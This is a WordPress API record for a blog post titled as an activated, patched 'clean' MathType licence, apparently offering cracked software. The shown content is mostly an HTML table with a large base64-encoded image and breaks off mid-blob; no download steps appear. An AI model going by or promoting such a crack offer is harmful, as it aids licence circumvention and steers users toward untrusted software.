{"id":21859,"date":"2026-01-08T07:41:17","date_gmt":"2026-01-08T15:41:17","guid":{"rendered":"https:\/\/funforgoal.ca\/?p=21859"},"modified":"2026-01-08T07:41:17","modified_gmt":"2026-01-08T15:41:17","slug":"mathtype-licenseactivated-patch-clean","status":"publish","type":"post","link":"https:\/\/funforgoal.ca\/zh\/mathtype-licenseactivated-patch-clean\/","title":{"rendered":"MathType License[Activated] [Patch] Clean"},"content":{"rendered":"<table style=\"width:900px;max-width:900px;margin:15px auto 65px;border-collapse:collapse;border-radius:15px;overflow:hidden;font-family:'Tahoma', Geneva, sans-serif;background:#f8f8f8;box-shadow:0 7px 18px rgba(0,0,0,0.25);\">\n<tr>\n<td style=\"width:30%;text-align:center;padding:20px;\"> <img decoding=\"async\" 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OoqCgKCgrIzMzkmWeewdzcnNOnT7Np0yamTJnC5s2befjhhwkLC2PhwoVs3ryZDRs2IJVKWbx48YCeJwEBgd8PA3LsM2fO7NJb7mSwko9YWFgYHevVDrahoWHACWZ6ojdRnAkTJvT4wjVlPvdKQkJCTHYOQUFB1xQncC2MGTOmyxRDXzz00EPGz3Z2dt3EWa5OUJOUlGRywwrA3t6etWvXdtnn4+PT6zHGjRtnUi+6ExsbG5YuXdpl39UiOYmJiV22e3u2e6MzxgTA39\/f+Lm3eW1PT0+eeOIJk2x7enry7rvv9vjdF1980eNnGPizKiAg8Pvk+j3lIOLk5NSrAldngJWAgICAgIBA7\/Tq2JVKJVlZWUMiXNIZFZyXl0dFRcWg229tbQWgqalpwMvUTKFTCEWn05GRkTEkuvqdc8NVVVUmzVsPlM57oFarOXfu3JCImHQGBBYVFXH58uVBt98Zkd7e3k56evqQPKudIk25ublUVlYOuv1OAZympiZj+uLBZChEewQEBH7d9OrY16xZM6QvhZycnAGJgQyU4uJiVq1aZXTyg01bWxt1dXWkpaUNiX3okJV99913h0SOFTrmcsvLy7GxsRkS+wCZmZl88MEHQ6KqBh2NhnfffXdInHonOTk51NTUDJn9oqIi3njjjSF7VltaWq552aaAgMBvj14d+4oVK3B1dR0S556dnc327dt5\/vnnh+SF3NLSwlNPPcWqVauGRKjDYDCwf\/9+Kisrue+++4ZkWVF1dTVvvPEGb7311pDJ4n766afExsaSlJQ0JPe5sLCQDRs28Pe\/\/31I7rNSqeSVV15h+fLlODo6Dsk5ZGVlsWPHDp577rkhk91dvnz5kD6rP\/7446CrNgoICPx66XOOva2tbchelgZDRya5q3ujOTk5xs+d63cHysWLF411H4ohZo1GQ15eHra2tqhUqiF5Iefl5aFSqdDpdD2ew\/bt27nlllv6tLFnzx4mTpzY4\/KwxsZGSktLiY2NRalUXpfTysnJ6fFe5eTkGLX029vbr9l+b5SWlholXXt6VhsaGjhw4ADu7u59itScOXOG5ubmHjP1ZWVlAfT4rA4Gnc+qXq8fkmdVrVYLUsICAn8wBhQ8d+HChS5qaldvGwwGPvvsMxITEwkPD6ehoYGdO3cyffp0kwVkamtriYmJGVK5UVN45JFHOHbsGFOnTv3V5UXg8bsAACAASURBVLD+7LPPOH36dJ+Ofc+ePXz99deMHTv2msWBeqOgoICjR48at2tra\/nPf\/7DP\/7xj0E9zvWiUCg4fPgwUVFRfTr23NxcysvLBy0Fr0ql4sEHHyQpKcmor3Dl39dff92ov3A9rFq1qschdolE0m1VgICAwB8Hkx17ZWUl6enpXXqnxcXFWFpaGpdsGQwGiouLCQoKIjU1Fa1Wi4eHB3l5eSY7dqDf3Np\/\/\/vfkcvlxu27777bZPtFRUVGkZBz587x9ttvk5ub22XNb01NDbfeeiuzZ89GLpfT2NjYRdazN15\/\/XWOHTvGlClTuHDhAmvXrjU2UGxsbIiIiKCyspKFCxcyYsQI3N3dUavVxpSdYrGYESNG9Huc5uZm3nrrLaM8LnRfgtba2srKlSuxsbEx3gtzc3OGDRvWr\/0TJ05w\/PjxLvu8vLyMS8Y8PT258cYbjd+dOnWqSwNvqKirq6OlpcUkp\/j555\/zwQcfMG\/ePLKyspg5cyabN2\/usia\/qamJm266ydhIeeihh3j44Ye7LYUbKGKxmNDQUEJDQ2loaOj215QUs2vXrmXmzJnGuf1hw4Z1a6BJpVKWLVvW7Tn4tTVEBQQEfl5MduxffPEFjz76KCdPnjT2PObMmcO\/\/vWvLutzra2tMRgMxMTEcOrUKezt7Qc8DNtXJHtlZSV+fn4EBwcb9w2k0aBWq43a9osXL+bee+\/tJuSh1Wrx8\/MjICCAvLw8k4epV6xYwdNPP42fnx+PP\/44UqnUKB2bn59vrOvHH3\/Ms88+y\/Lly7G3t+f8+fNERkZy\/vx5k88DOoafO+9Ff+USEhJMDvRLSkrqds5eXl7Gz3K5vEuUu5WVVb+NsaspLy9nxIgRDBs2jD179nRTDnz\/\/fe76bDr9XpOnjzJmjVruq17v5qEhATkcjnLli3jxx9\/pKmpqYtTh46G6JWZBJuamkyaVtm9ezdNTU1IpVKkUilNTU14eHgwffp0oGO1xLlz55DJZD3+bW5u7qZUdzVtbW2o1Wp8fX0pKyvrM47D1OdAQEDgj4HJjl2r1SKRSIwvM6lU2k0ys5MrywyEysrKLi+nqKioLi9jjUaDRqNBKpWi0WgYN27cgJJ2AF0U56RSKZaWlt3KiMViZDIZUqkUmUxmsjSnmZkZb775JosXL2bWrFldrsOV1yIkJISHHnqIXbt28cADD1zz9ertd1fK\/D7\/\/PPXZF8ulzNy5EigI5Cvp4jtTkes0WhMnjo5fvw4J06cAH7S0V+9ejX5+fmkpaUZpWt7ChgUi8Umi+wMJVfGgXRSW1trdOwSiYThw4eTlJSERqPp9tfURpCZmZnxvvX1DF7r8yMgIPD75FclUOPu7t5FYexKp\/7jjz+SmppqHH4cqEP\/OVCr1WzevJl33323xwZDJ7m5uWi1Wh544IEhqYdMJkMikWBubv6rkxXtTQFv27ZtTJw40bg9ceJEWltbGT16NLW1tdjY2Ax6rAB0jAIolUokEkm3zH690dbW1mOPvROtVmt8Pnv6u3DhQpycnAb5TAQEBAQ6MNmxJyYmGgU0OnvVaWlpvWbzup5hwZ6GFd3c3MjJyelyvE4Rl4HS2WM6cuQI33\/\/PWvWrOnmAEtLSyktLQUw+SW8fPly6uvrjXnj3377bTQaDampqcZjFhUVsXjxYmJiYvjxxx9JSkoiKiqKM2fOdNOvN4WerrO\/vz833ngjCQkJRv31U6dODYljHCwWLFjQZbvzPre0tDB16lReffXVAaWgbWpqQq1Wo1QqaWpqoq2tzTja04mlpSUJCQnMnz8fBwcHmpubu0zx9MYLL7zQ5\/cSiaSLDO7Vf6+eEuiL7Oxsk8oJw\/ACAgKdmOzYR4wYwc6dO7torX\/99ddMmzatS7msrCwmTJhAfHw8NTU1rFmzhnnz5l13RWNjY1myZIlxyNfZ2ZmKiop+5yqvJjAw0Jh17dKlS7S1tXUb5nRzc2PTpk1kZGSQkJBgsk753Llzu6jQicXibr+1tbXlgQceoKioCFtbW8LCwoiLizO5\/g0NDcbgv9702RUKBWVlZSQkJPRZri9UKlWXUZEr59g76XQmGo2mzxGK68Ha2vqaRIBEIhGLFy\/m5MmTtLe3c8cdd6BSqbo4dplMxvr161m3bh0qlYq3334bNze3667zYPTYW1tbUavVODo6Ah0rEcLDw7s0QFUqFVlZWV0EhrKysoZMDEhAQOC3gcmO3cLColsClasdtlgs5uOPPzZuu7i48Prrrw+4Ur31PoYPH24c8rzWNe5XEhwc3GsPbdy4cYSHhw8oMG\/y5Mn9lnFwcCA2NpaNGzcyYcIEk6Lgr+TYsWOoVCpkMlmvZTIyMsjLy8PV1XVAtjvpqUFyNdfSWPg5SUxMxM7OjkcffZSkpKRen0MLCwuUSiWXL18e0L3uC6lUyhNPPEFQUBAjRozo9teU9MUzZsygqKioy76wsLAu27Nnz+5WBmDOnDnXdwICAgK\/afp07LW1tUOiqtZps62tzSgw0klgYKDxc08ynhYWFv3Ke3YKfej1+muWAvX39zdm7braxpUBg83NzUa9b1Px9PRk8+bNPdrupDMiXKvVdinTmUntymjuqwkODuall16itbW1V5nSK+vc0NAwJOIrnRHmSqVySCRZm5ubjZ97elYdHR37vc6AMdahpzKdNltbWweUE6CzwdbT37a2NuMz2tuzGhgY2OX\/AtDt\/4qnpyeenp49Hr\/TltB7FxD449GrY9+yZQulpaVD4tihI9J69erVQ6aPXVZWxscff0xubu6Q2G9tbUUikZCTkzNkWu5FRUW8\/\/77lJSUDIn9srIyvv\/+e5RK5ZBqub\/33nt9NkSuh5KSEj7\/\/HOKi4uHLLdBTU0Nq1evHhJlOPjpWc3LyxsS+y0tLb+6IEoBAYGhQ\/TRrjQDgKudOREuBp577jkmT548JBnLBAQEfhkcHR05e\/asIF4jIPAHoMcee1ZWFhKJxOSAqPPnz5scAJabm4uvr68xWnswbefk5ODv729y9PdAbGdnZxMYGNhF8W6wbGdlZREcHNznvPm12s7MzCQ0NNTkNc4DsZ2RkUF4eDgSiWmhGgOxfeHCBSIjI01eKTAQ2+np6URHR5vcix2I7bS0NJOf7aHGwsKCqVOn\/tLVEBAQ+Jnp8Y2sVCp54YUXTFqWU15ejlgs5plnnjFpKPSll17ib3\/7m0kiHWVlZZiZmbF8+XKTbL\/wwgs89dRTWFtb91u2tLQUiUTC008\/bZLtlStX8vTTT5vU2Bmo7RUrVvDMM8+Y1GgoKSlBKpXy1FNPmWT76aefZsWKFSY59uLiYmQyGcuWLTPJ9rJly1i5cqVJDrKoqAi5XM6TTz7Zb1mAJ598kueee86kskVFRZibm3dRQOyLxx9\/nBdeeMEkRcHCwkIsLCxM1l5\/7LHHePPNN3\/xoW+ZTGYU+xEQEPhj0WtXy2AwmPRy12q1xrKmlu+0PxS2fw317gwaG6p6AybHPgz0eg\/U9tX1vnJFw5WR81fXo1NSdv369cyaNaubbY1GY\/Kc+ZXX+1rrPZi25XL5L+7YTR1ZEhAQ+P0xJG+flpYW5s2bx7PPPstLL700FIcYEgwGAzt37mTDhg1DknsbOpymqbYrKyu5dOlSn2V++OEHY3IejUZDQUEBX375ZY9l6+rquPvuu43lCwoKWLJkCenp6T2W37NnDxcuXDDavnz5Mtu2beuzPldKp\/bG3r17+eyzz1i2bBmZmZnk5+cbj9GfVvvWrVtZvXq18V9vIkV6vd5oLzc3l9dee61bVPnV9Tbl+FfbzsnJ4bXXXhNiUgQEBH41mDQ5ajAY2LJli1EoxN\/fn8WLF\/dafteuXcybN4977rmHpUuXkp+fb8wA90vS+dLubVi6tbWVsLAwampq+O6770xaD6zVasnLyyMrK6ubelpPnD59Gp1O12ca0U6qq6uprq7uda29SqXi4sWLJCYmcuLECczMzPDy8kKtVlNZWdnjuuxp06bR3NzMhQsXaGtr61M8KDMzk8TERE6ePIlYLMbb27vHddNX01\/0uJmZGXl5ebz\/\/vsoFAqUSiWnTp3C0tKStra2XtfQV1RUoNVqu3xvZ2dHbW1tt7J1dXVs2LABgPHjx+Pi4tLnfP3OnTvJy8vD39\/fmMWuN2pra\/nkk09Mti0gICDwc2JSj12hULBv3z5aWlooLS01ru\/ujdTUVGpraykqKqKwsJCysrJeyzY0NBilW9VqNUVFRX0uH9PpdBQVFRn\/XZ0BrC\/q6urYvn17r5rg1tbWODo64uHhwdq1a\/u0pdPpyMzM5P3336eoqKhPp37w4EFWr17NqlWreOeddzh58iTffPNNr+Xr6+spKiqivLycqqoqioqKelxjfaVEqpOTkzGdqaOjY5+9U+ie5vVq9Hq9cTjZyckJX19fAGMCnp7QarU0NjZy4MABGhsbe72PkydP5s477+TJJ5\/EysrKmKmtvzrV1dUZFdsGIpDj6+vL4sWLB5yBzhQ6G7m2traDbltAQEDgWjCpx25ra8vSpUvJysqirKyMmTNn9vubwsJCUlJSaGxs7LWMWq1mw4YN+Pj44OTkRENDA2KxmNbWVu67775u5XU6HTt27OgyB3zDDTf0GAWfnJzco4LdxYsXUSgUTJkypdt3eXl5vPLKK\/06GPgpo5mlpSURERF9lo2MjMTNzY2CggIcHBwYP358FxnQqykqKuLy5csUFRXR3NyMubk5np6euLi49FuvwUKn0\/XYC7WwsKC9vb3HUQ+VStWlEdfS0tLrXO\/EiRM5ffo0DQ0N\/QYk1tbW4uzsTHp6OpMmTaK4uHiAZyMgICDwx8Ekx67VannrrbeYPXs2hYWFrFmzhpkzZ\/Yq6+rh4YGLiwvz58\/n+++\/77U3YzAYkEgkeHl5UVpaisFgICQkhNTU1B7Lt7S0sHXr1i4yrL313K5MwtGJQqFg9+7dzJ49u8ce7dq1a5k7dy5hYWHs37+\/R7udmJubc+edd6JQKNi7dy8pKSm99trr6+vJy8vjwIED3HjjjRQVFeHi4tJrTvH4+Hji4+NJT0+nurq61yVLYrHY2MjpzHlvZWVFe3t7v0uuKioq+vz+yp55W1sber0eGxsbmpube72fVlZWREVF4eHhQUVFRa966Fqtlu3bt7No0SIcHByM8+Q91Umn0\/Hvf\/+bsLAwKioq8PDwGHLHnpWVhYWFBQEBAf2WbWxspKKigpiYGCFgTUBA4FeBSY5dqVSi1+uZNGkSbm5ufPnll32mHF20aBFLly7FwsICR0fHXtcAy+Vy5syZQ21trdFJpqamcscdd\/RY3srKiptvvrmL1rYpS9s60el0zJo1Cxsbmx4de+dwc3FxMbfddluftlpbW\/nwww+N253D4D0RERGBk5MTDg4OTJgwweT6Wltb9xnMZWlpia2tLY2NjUYnajAYaGho6NUp5eXlER0dbcwLfvr06V4Tn7i7u9PU1GS0rdfrTVoCGRQU1GfD4dChQ5w6dYri4mJaWlqYM2cOvr6+aDQa4z3oxGAwcP\/997Nu3Tqio6ON+\/vLZmZlZWV8jkwZgh8xYoSxwbhmzRp8fHx6XZp3pe3Lly\/zz3\/+k48++mjQtOYFBAQErgeTHLu1tTWff\/450JH5bNKkSX2Wd3Bw4NVXX6W2trbHIe8rCQoKMgbW2djY9On4JBIJ8+fP75LtayBBS\/b29n1+\/+ijj7J161ZycnL6XRNtZWXFsmXLTD62q6uryUlZ9u3b1+UcDx06REhICHPnzu1W9vbbb6epqcmY5a65ubnX4C87OzvmzZtHQEAATk5OKBQKbrjhhl6D83qy3Vuj60ry8\/P7\/H7q1KnExsaycOFCXnrppT6nPiQSCQEBAUbtezBtft3S0tKkHncnVzYo3nnnnT7LWllZGW0HBAT0+4wLCAgI\/JyYnN1toFyZRGUwkUqlA86IZioymYx77rlnSGwPhKlTp5qsGCaVSrukru0riEsikXS5djY2Nn1ey4HY7qRzeqa\/XrK9vT3\/\/Oc\/e52OuBq5XC4MdQsICAiYQI9a8fb29ri4uJiUtUyr1VJcXExISIhJ67PT0tIYN24cCoXCJNslJSUEBwebZPv8+fPccMMNXbJ+9Wc7KCjIJEGWc+fOMXHixF7XTV9tu7S0lMDAQJNsp6amMnny5D4DDa+0XVZWhr+\/v0miKSkpKUybNs2kddYDtX3mzBlmzJjRbwQ+dAQbVlRUdBtq743Tp09z4403mpQ8ZqC2T506xU033WRSxjmNRkNlZaXJDZCTJ0\/y0EMPIRKJTCo\/VIhEIn744YcuSzaPHj0qaMULCPwB6NGxz5w50xiMJSAg8Nvk6lEOwbELCPwx6HEoXiqVdlvOpFQqeeubFEpVpiWGMYVlY20IDQnptj89PX1Q1xw3NjYSGxvbbX9BQQEGg2HQxEWam5vx9\/fvtpRNrVaTmZmJo6PjoBwHOpaWhYaGdtt\/4cKFQV1T3dDQ0GPwY3FxMRqNxuQEMP2hUCjw8fHpdt+1Wi3p6em9RthfC0qlkrCwsG77MzIy+lyGOFDq6+uJj4\/vtr+0tBSlUmlyYp7+aGlpwdPT06TARgEBgd8\/Jr+Vt35\/mPz4F43bkb42PBou4akUFYtcdXyar8GgN6AFZGJw8bYhQdvGzjIdnbLZErEIlUaP9n+jvG8fW8vHV\/n1nJwc5s6d+5Mzac7gb89\/gZefDREJ85k+xhuNXoRcKkKtqCe3TkO0nwciESAWoW5XIpLKkUt\/ctbbt2\/n3Llz3V6yOp2Op\/88j2ff+QS5hSUL776X1kYDUSEu6BDTVJZPi15Eq9SZcDcrMJNRmHIG2yAnGgw+BNoaMJPJQadBZxDT0FDH888\/302x7vDhw6xbtw51fTHPvbKex15ewpbV77Hgr8\/jJNcikyk5faqKkSMDUdYWUCr2I8DWgJlcDloNOpEZMjNQqrTILcwxE4l4+OGHuzn2\/Px8pk+f3mNw2beb1pBbpsFz2GjumDgCLWJaKguoFzkR4GqFXiTBXN7d0Xz\/\/fckJyczcuTILvvb29tZsWJFD0P2ao5v\/5z\/+\/o042+9m1tvHElZ4UW8fYORiEEqM8esB1mkqqoqVq5c2e3a7d+\/nw\/efYE1r29AbS1h5PSFjItwQy+WdlwTtRZzuRS1WoNIJEan02NuIUXVrkYqM3DhdC4hI6Mw0+qRyGRIxQYefexxgoODuzToioqKuOGGG7jhhhuuOLqCbR+sYffJBhY++ijjYzww0yr48tB55k2fhLm5DFFrKe99+Dk6+wAeWXQ75mZd6\/7DDz8wZsyYLuekUCh47rnnrpim0XNh\/9f8+z8\/EDd1Pgtvn4AcMWeTd+McMZUQTxvMRCJ2bHiTfKUVN9\/1CIEOPw3119bW8swzz5iklCggIPD759q6WyIRE\/3lVGkMRNmKsXOQ88okEZ4SEalqCS4yAxk1Wia4O+DvpcHbWcqpIjWjQqzITK1hfWH\/etxXMmL23dw1LYQt2zbx+b\/yKFbbExViz6VSMS7RIVScT0ViJcEnwJovPj1M0PjZ3D2rf5EZACxs8LF3RGPri7bmHDuOqik7X83x3BqiQ93QYIXB1oLdZ7LxHjUDTdp2\/NpGUNZ6iW8zc7AJ8ENWnIXGNY4ZU\/sP6nP0tyPvZCZyJ1sun93P+l07ib31Fg7uLeb86a34e3hRY5HPt5m5WPt7YyjIoNHSm2EeOs5ltXPHI38hwt1qQNcPIMjdj8zKYryc7Ph0zetUil0J9ZRSq7NDXXAJ24jx3LtgIrLrzh4gY8wt86ht82b6OAdeevtTQoKtsU7eS2VBLpF\/ep\/pQQMbIWm4dJ7h9\/4VRepWKovT+WDXWRS2vkS6aSgorCcuLpjtx8ux0NXjIZUQPiGKo99lEDA6nuq0bAIvHaVWZY2F3JupIUq0SlOnmWxY8Mh9GOyrmRSo4503\/4GZRyjaxiI+zi\/gpgf+RKBEgr2jLXp7O0Sm5YnpATExU+Zwc5WcCQvGsXfTBk5fbiIi2IEjx9cSPfdu5sZ5Yy43R11dwomMUgLHmzbnLyAg8Mfjml7jDvZyvGUGyjUiRnvJsLUSk1fQSpnSgKeNBL1aT7vBwNnidtRmYi4Wt9IkFmNuJsL6GgKbm2srKCjMRK+yp6q+GpFEgtzchomTEpFjjrubgczLDXj6RuDtJCP7Yo7JtpUNtfgmTibJtYGsdhciXe2pa6pHpazHzi2EME9HpLZeeDubk3cpF2\/\/Yfg4W6JuVRA1cTrRHu54erlSXXqJ+vb+A\/yc7e25VHwRZyc3aqrK0Oqb0Vo4MiIwADufSMbH+aBpbSFq4nRCLKBC0YzYzAwPr0AsVJVkV\/QfYNcTlQYZd940lQsph6luqkdkZoazZyDRIRH4uNlSWJhHu8a0rG4DIXb8eLxtLVDLbBmd0POyuv6wdPWi5Fw64ZHRNFUXUdeqQGxmRrtazMSx0TQ2tDHmpoXEx8dw+8xgygsqaBOLkVlYEhkUjounD7NvvQdf+xoOFSjRSgb+EDZUl6EyaGlpacTGI4j4KDfaWjQoG0sRO0WhaSilVa29pvO7ElV7Kw2KRpTKejRmtowfPwyloqMh4hY+nClxgfj49Kw7ICAgIADX2GPXq3V8fKKBwlaI8pFjYTDjgQRbbJRaXjnZwEhnM7Kq1US7SMnJVqDUG2iXGTDXaMivGmDWNAsfgqwvknpeyY13zqYxw5Hzpc1ExERhZ2eHm5sON3NPJN4izNUanINDiAoxXUfc3D0Sl4xtVJoPY\/aIcDLM89EqEvAf4UaIjyM19S0kWcrJaQlmtn8CIbaNVGssmTHNjaLUfdj4xiJW1zHeLwB3m356oub2TJw8BVGTFomdgda6GmycfQjyC6aWS7i5h2BhL2WGkxUFqftxiBvHXS5OXG41w8JCQnDiFMaHXZusbGK4P3tPXWTG3LsQl2WQWaMiPCycisoaVD5+THeLxlo+WMn+LEkYG4PU1oKxESDT2pC690t2HMpkxsiBR4vbeicwKuggGSUt3H7XQ5SdPUahSk5iuDunL5Qy48aR1OvswCMJRwsDs4It8D58FDufQBx9mhBZ2uNmoaFErcA+YAryY4cHcHRnksba4GjXxrD4JnzC45A2F1HZakuYtxUyYgjPPoAqdiL2ltcTbyAlbuxwbK1sCY0aTlCiJ952ItJzqpk4vUP8yMfFliMtCdziL7uO4wgICPze6TEqPigoiLq6ui7BPSUVNdTadA\/W6kDMDaEWKGqVnKs33XGLGwqJ9fkpWKq1tZXGxkZCQkIGNQCssrKSpqamboFZra2tBAcHo9frqaqqum7lMJVKRU5OTjclt5qaGmJjY3tc+lZeXo6np+eAj5Went5N8Ka1tRUnJ6d+hXgGctzq6mrq6+u72WxpaSEkJMTkPOX1RdmcuawgLNQbf6\/ux1Wr1WRnZ3e7dtXV1cTFxZmcI77X41cU8OOpbMYljSAvO6Ob7n57ezt2dnaDGqRXU1NDTU1Nt6C2zms3WKjVarKysrpdOzc3NxITE43bQlS8gMAfgx67GHV1dbz44ouD+pIzhR07dmBvb39VANPQc+nSJfbt29dnKtqhoLa2lnXr1vH000+b7CAHg7a2Nl5\/\/XWeeeaZIcs73xtLly7l2WefNSnv+WDyz3\/+k3\/fdm+f0r+\/J6RSKU899dQvXQ0BAYFfgF7HDvV6PVrt9c8ZDgSFQoGdnd3PftxOQZuf+7itra1otVp0Ot1190gHgkqlQqlUotPpfvZzbmlp+cWeLQcHh581Q94viVwu\/8VFcgQEBH4ZBmtS9efDoKMsO5XcgmoALqcdJ7+qfxU7gcGlMWcvnxzM\/vkOqNeQl55B68\/bHhAQEBD4zfGbc+ztdZf4+\/Kn2Hy4I\/K9PD+T8oa2X7hWfwyayvM4evo8h48eokGhQGz282m3Nxal8s7bn1Cr\/tkOKSAgIPCbZMiSwAwVFs5BTEgMIuN\/2+Pm\/fkXrc8vxbp16wY8P25ubs6iRYuu+Zhm6lZOni\/AUVOGLMIFN7fBU9LrD\/uAGCZGHP\/ZjicgICDwW2XAjr26uprPPvts0CpgYWHBI488ck2\/rck7zoqlrzF5xWpsSzaz8Vg1S26dzD\/f+4i5z76KPnMfh9Ls+OiDJxm4pMsviFbJibNZjEgajhSorazEwd2dzsV0Z8+exc\/egM5vGiGyZmxCw+gmhKquJ7NYQ1Tw4K15zr2Uz\/DYcArP1hM1bCIK89\/UVRUQEBD4QzBgx15aWsrw4cO75GQvPneQ77PaeHDhLCRi0wJ28k\/s4UCphIduMy09aU+4hA4nwtuCdp2EmxMnsv7wDyRNuoNH0o+SXGLJS\/ctJe2h28itfJLh17iSbceOHZw8eXJQVwgsWLCgn+hsLcX5p2jQ2+GmSGHrD6eJmXAbd8wdhZSODGIP3BLL25uPIEmIZILEEtmVS5sNek7\/8A1H1SNw0mRw7pITI0bak5LdwPzZY6+53vaePoR4uIJoFLr2aorqDHiFeVyzvYFg0OtQazRotDpgcLT9BQQEBH6PDNixHzx4kGXLlnXZZ+UVRVLBIXJbtETZ9p7Yok3RgE5ihY2FDNug4cQX\/cglFYT8itNs19TUsHz5cuM67kuZyeAaR7CL9SAfScnX69ZS0GLG8PHj8PNNpKq+hITZd2DtHkHAsGGcPnaMqKgolEolhcVi7prhR5EuCJlMz4XD3\/JjymU8I8czPUTJ9lOXKG65TIDbg7SpznHyuIG5d951XTUMiuwQ\/pmS2LF+fkxfhQeZttpKdK62VBSVEhzzx1iyJiAgIHAtDMixazSaHjNSOTnakuvmQ7x13+bSv19PpsscHpwUjoujDTleQQz7FTt16MgMZ6mrZcu3GSyYOw5Pv3Au51VBH469KusQlTYjiPUZiPM3Z96fnwRAUXCCdXtymHzTbM7++AWHLpTiWdiG1FBL\/o4do2EPCQAAIABJREFU2NjY0FSbReplb+6\/2xmAmAm3EjPhJ2t\/f9GXdf85QFlNEZZiOaKGUsqrmwny7H1evLS0dFDXtVtYWHQT0blWrFxDeGDx4Im6CAgICPxeGZBjLywsxN\/fHzDQUFlKk1aCpa0dhQfW839Ha3EJH0mI0\/9M6nW0KNVYW1oYfy9yCCXMpp3qRgU53\/2bz9MN+A0bje8AMrTqVM0UFlZQTg4N9X6UllXRXJRLgaaQmsLLVFVVkVdaSX7DJWrGQEVFFQX5hQx39x\/IqQIda66tra0xaBS0trVT2dBEbcpxNKGJvf9I286pg7vQj40m1sea5toyqlt1OFg7YGWmpqy2De8AH+R9jCbbBIzmb0tGd2z43EHC9J++W7VqFUuWLMHOzo7RfVXe0p8\/L\/nTQE6XtLQ0lEpl150GPWqVBpm5aS0wg06HSmvAXC7B3d19UBx7ZWUl9fX1xm0\/Pz+srIT5fQEBAYGe6NexGwyGbnKrJVnH+eHsRawUDShDZ\/DALY+TeMtVP1Q1cCKthGmj\/5cqVd9CTvYlnCPEfL7pNI8tfpYbrmFkWKfWkLDgUeLMrVH8f\/buOzDK+n7g+Pu5fdk7QEJICHsIyEb2kKWAWqnW2aq1VutqrVWrtdpaW0vdtfbnqqOKWhQBZe8dCBtCBoQAITuXu9wez++PkEBIAgkkhsTP6x\/I3fc+z+eOcJ\/n+T7fYfMx81e\/RwmNwKOE8PSj3XC7Kukx\/W66K0FUunXc9djfCA1t\/FWoy+Xi\/fffZ9SoURQXFzNixAjS1u0mLjyeT7\/8mEfvuR+tAqBSdvIIR06VAxDWIZkeiTHkH8siJqkb5VqoOLSN\/23dT4hShjVkKIGKI8SGhaOP7VznZCYtLY3169dfMD+9Xs8777zThE\/sjAsNVJw5cyZQdT\/7oy+\/4Pa5N2Etzqa4MprUlMbt9R3w+TiUcZjck4eJ6153H\/eLUVZWxrFjx2p+jo+Pl8IuhBANuGBh37p1K1u3buWRRx5h8+bNTJ84nGVrD\/KjubeQvui\/RPc4d\/CUSs72pXy9egfZBRb27tjBrLk30cGRSdzI2Uy\/IpzS\/DVc7JpYhtB4Jk2fXvNzUpfUOm16dzvzWLceVzQpfiAQYNq0aaxYsYKuXbuCp5wyUyeuGpiAxa3l7MW8fF43dru9Kq\/TO3tlpK9j9cZt2FPjKAjkceNP7+CrD+bTPakQZ8pUBieHEVtPD8XQoUPr7HnekANrv2bxLhsPPXIbpia9uwtxs2fTIULjQzhVeApUD2mbMxlyzVRyDx1EE2HG7jLSK6XTOf9+KoU5GVh8eqLiOhFj9LJg8yaS+k9rlqz69OlDSsdwth86Sb8Bg4gObngchxBC\/NBdsLCPHDmS6OhoFi1aRElJCWFmLacKjpG1ewf79+ZxzYSgc16hkDpsOr\/uP5QVu89csR\/aVkpZbjZfHnBz5bRZ6FpgaRyfrYxKfTgRposfNR0UFERKSgrJycl89dVXvPTCUxzOXs7CdW5mXTvtrBV9FOKS+xCXXPv1E2\/8FQOu6MtR4xBsa\/7Nsr25GDvFkNKpA1+v+JqE6FuIvcQB9ilDp3CtYwV59gpyl3zG8bIkbvrF9GaY0qewdtNSEvsPJCG+A6rbSb4\/QLgWtu5YgyWsI5lHA9x\/61DSdx7EGwDCOjL9qgFYT6az7KSJMYMj6BVmwm9WCTY3z2mH6nOTvi8Td3E2\/9x7iid\/MVvGxQshRAMadY89NTWVDz74gN69e2OKTuG2G+egDY0m5RephEY0cPVkjGTkgDOlpvuAkegiThIW15m4yEsrQacOrOHD5ScZMiiOLn1G0i2uaha3xuBl0X\/fZcL1t3Fq6wIOHTNiO7UTY7f+zJkzl5jgxg8pGD16NBUVFQSFd2LuzXc2Kb\/onhOJBvhp9SYcVSc3D\/Ya3aQ4DQnCTpa5I0MydhF8xUR0+zObZ56+10J8yjCumzaerOxs1IAfr88LXhsnrUEMTA5CE5lAsCmUzkld8KuAKRxUlZMlRn50\/XV0MmpwF5YQ2WkgkcHNdPamNTBs5Gg09lT2fr4ZmfAmhBANa1Sl02q13HvvvRQWFoKio2NyyulnzrO1qkZba+CczhRK9569LiXXGh37XEX3Na\/Rsdtk0r\/7LwtLKmueO7B2KbuccfxoQBeGpWbzTcRsrr0ymLLiSmKCL7ydabWgoCBuvPHGZsm3uW1a8TXpB8qJmTyO7Owiuic1zyI01lPH6D18KApw7MQxenZNJFxjxO5w0mv0MEJ8JXSLSsAYEkXP3mdG1wf8HvQdO9Dp9H7uDocfg9eK0+km0nDp0x4URUGv13MsL59JE8Yju5ELIUTDGn0J26VLl8tiy8uA382a5etQo8LZujaL22+5F93pd+Epy+TrfkO5dtJo8jM2suaoidGdTrHpUAhzZvRr3cSb0VVzfs5VpwcrXvxyM3WFJQ1lwOm\/Xz1hCqAyvG8ERZ5wRg1oeCEajdbAVSPP9EbY7HZmXHc3ncKbby6j9cQ+DjvDGdbRg8UFEc07uEAIIdqNNrdWvEZrYMyk8Wh1WgJ+taaoA+gjUvnR1T3QKJDabyypp2v597mQSvuikNBjMJYSG3DuWIr6+T0eTB36EBvVfJU34HWydu06MgrcnMjuz00\/SWq22EII0d60ucIOCobT66dqz7mFq2i0Fz3aXtRP0RqJjG\/8lbfWYCAupnk7yzV6M7NufYBZzRpVCCHapwYLu9\/vx+12f5+54Pf7UVX1B3Ncn69qipzb7SYQCHxvx\/V4qvY+9Xq9NX\/\/Pvl8vu\/9s1ZVFY1Gg6L8ME79fijvUwhRV4OF\/e9\/\/3vdVcgaYLFYatZSvxCbzUZQUBBabd1xzTabjbCwML788stmj32+vAOBAC6XiwMHDjTY1mq1EhISgkbTuJHejc3bYrFw\/\/33YzKZmj02NJx3YWEhTz31FA5H7b3smxK7oqKCsLCwRhcRi8WCzWbjmWeeoby8\/IKxG\/t5NEZJSQlWq5Xw8CYsc9jGfZ8ni0KIy0eDhf2JJ54gJibmggFKS0t55513+N3vfoeqqhds\/+KLL3LvvfcSGXnhlcyaGvvPf\/4zDzzwQKO+vEtKSnjvvfd4\/PHHGxX7+eef55FHHiEk5MLrv5eUlPD+++\/z29\/+tlGxn332WX77298SFHTh+9jFxcV88MEHjY79zDPP8NRTT2E0Xrg7v